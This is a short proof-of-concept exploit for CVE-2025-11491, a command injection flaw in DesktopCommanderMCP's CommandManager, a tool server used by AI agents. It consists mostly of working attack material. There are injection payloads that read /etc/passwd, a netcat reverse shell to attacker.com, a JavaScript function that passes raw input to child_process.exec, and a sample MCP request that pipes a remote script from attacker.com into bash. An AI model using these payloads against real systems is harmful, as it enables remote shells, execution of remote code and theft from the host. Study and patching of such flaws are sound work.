CVE-2025-11491 DesktopCommanderMCP 操作系统命令注入漏洞

/* * CVE-2025-11491 - DesktopCommanderMCP OS Command Injection PoC * Target: wonderwhy-er DesktopCommanderMCP <= 0.2.13 * Vulnerable component: CommandManager in src/command-manager.ts */ // Example of malicious command injection payload // The CommandManager fails to sanitize shell metacharacters in user-supplied input const maliciousPayload = "echo safe_output; cat /etc/passwd"; // OR using command substitution: // const maliciousPayload = "echo $(whoami)"; // OR using backticks: // const maliciousPayload = "echo `id`"; // OR using pipe: // const maliciousPayload = "echo normal | nc attacker.com 4444 -e /bin/sh"; // Simulating the vulnerable CommandManager execution flow: function vulnerableCommandManager(userCommand) { // The vulnerable code directly passes user input to child_process.exec or similar const { exec } = require('child_process'); exec(userCommand, (error, stdout, stderr) => { if (error) { console.error(`Error: ${error.message}`); return; } console.log(stdout); }); } // Trigger the vulnerability vulnerableCommandManager(maliciousPayload); // Remote exploitation via MCP protocol: // An attacker with low-privilege access can send MCP requests containing // injected shell commands through the CommandManager interface: /* POST /mcp HTTP/1.1 Host: target-host Content-Type: application/json { "method": "execute_command", "params": { "command": "ls; curl http://attacker.com/shell.sh | bash" } } */